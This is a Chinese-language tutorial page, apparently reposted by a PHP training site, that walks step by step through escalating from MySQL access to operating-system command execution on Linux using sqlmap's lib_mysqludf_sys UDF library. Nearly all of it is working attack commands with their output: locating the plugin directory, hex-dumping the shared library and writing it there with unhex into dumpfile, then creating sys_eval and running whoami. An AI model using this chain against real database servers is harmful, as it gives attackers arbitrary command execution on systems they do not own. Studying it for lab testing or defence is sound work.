《Mysql入門(mén)Linux利用UDF庫(kù)實(shí)現(xiàn)Mysql提權(quán)》要點(diǎn)：
本文介紹了Mysql入門(mén)Linux利用UDF庫(kù)實(shí)現(xiàn)Mysql提權(quán)，希望對(duì)您有用。如果有疑問(wèn)，可以聯(lián)系我們。
MYSQL入門(mén)環(huán)境:
os:linux(bt5)
?
database:mysql
?
簡(jiǎn)述：
通過(guò)自定義庫(kù)函數(shù)來(lái)實(shí)現(xiàn)執(zhí)行任意的程序,這里只在linux下測(cè)試通過(guò),具體到windows,所用的dll自然不同.
?
要求：
?在mysql庫(kù)下必須有func表,并且在??skip?grant?tables開(kāi)啟的情況下,UDF會(huì)被禁止；
?
過(guò)程： 得到插件庫(kù)路徑 找對(duì)應(yīng)操作系統(tǒng)的udf庫(kù)文件 利用udf庫(kù)文件加載函數(shù)并執(zhí)行命令
MYSQL入門(mén)１,得到插件庫(kù)路徑
MYSQL入門(mén)
mysql> show variables like "%plugin%";
+---------------+-----------------------+
| Variable_name | Value |
+---------------+-----------------------+
| plugin_dir | /usr/lib/mysql/plugin |
+---------------+-----------------------+
1 row in set (0.00 sec)
MYSQL入門(mén)２,找對(duì)應(yīng)操作系統(tǒng)的udf庫(kù)文件
因?yàn)樽约簻y(cè)試,看了下自己系統(tǒng)的版本,64位
?
MYSQL入門(mén)
root@bt:~# uname -a
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux
MYSQL入門(mén)?
對(duì)于udf文件,在sqlmap工具中自帶就有,只要找對(duì)應(yīng)操作系統(tǒng)的版本即可
MYSQL入門(mén)
root@bt:/pentest/database/sqlmap/udf/mysql# ls
linux windows
root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls
32 64
root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls
lib_mysqludf_sys.so
MYSQL入門(mén)３,利用udf庫(kù)文件加載函數(shù)并執(zhí)行命令
首先要得到udf庫(kù)文件的十六進(jìn)制格式,可在本地通過(guò)
?
MYSQL入門(mén)
mysql> select hex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so')) into outfile '/tmp/udf.txt';
Query OK, 1 row affected (0.04 sec)
MYSQL入門(mén)?
因?yàn)槲覝y(cè)試時(shí),使用自帶賬戶,賬戶名mysql,并不是root,所以插件目錄不可寫(xiě),而實(shí)際中,一般udf提權(quán)都是用root權(quán)限啟動(dòng)的mysql程序,故,不存在目錄權(quán)限不足,不能訪問(wèn)的情況.為了繼續(xù),修改目錄權(quán)限
?
root@bt:~# chmod 777 /usr/lib/mysql/plugin
?
數(shù)據(jù)庫(kù)中寫(xiě)入udf庫(kù)到mysql庫(kù)目錄:
?
MYSQL入門(mén)
mysql> select unhex('7F454C46020...') into dumpfile '/usr/lib/mysql/plugin/mysqludf.so';
Query OK, 1 row affected (0.04 sec)
MYSQL入門(mén)?
查看下這個(gè)udf庫(kù)所支持的函數(shù)
MYSQL入門(mén)
root@bt:~# nm -D /usr/lib/mysql/plugin/mysqludf.so
w _Jv_RegisterClasses
0000000000201788 A __bss_start
w __cxa_finalize
w __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _init
U fgets
U fork
U free
U getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_init
U malloc
U mmap
U pclose
U popen
U realloc
U setenv
U strcpy
U strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_init
U sysconf
U system
U waitpid
MYSQL入門(mén)最后,加載函數(shù)并執(zhí)行：
MYSQL入門(mén)
mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.14 sec)
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| mysql |
+--------------------+
1 row in set (0.04 sec)
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name | ret | dl | type |
+----------+-----+-------------+----------+
| sys_eval | 0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set
維易PHP培訓(xùn)學(xué)院每天發(fā)布《Mysql入門(mén)Linux利用UDF庫(kù)實(shí)現(xiàn)Mysql提權(quán)》等實(shí)戰(zhàn)技能，PHP、MYSQL、LINUX、APP、JS,CSS全面培養(yǎng)人才。
轉(zhuǎn)載請(qǐng)注明本頁(yè)網(wǎng)址：
http://www.snjht.com/jiaocheng/8093.html
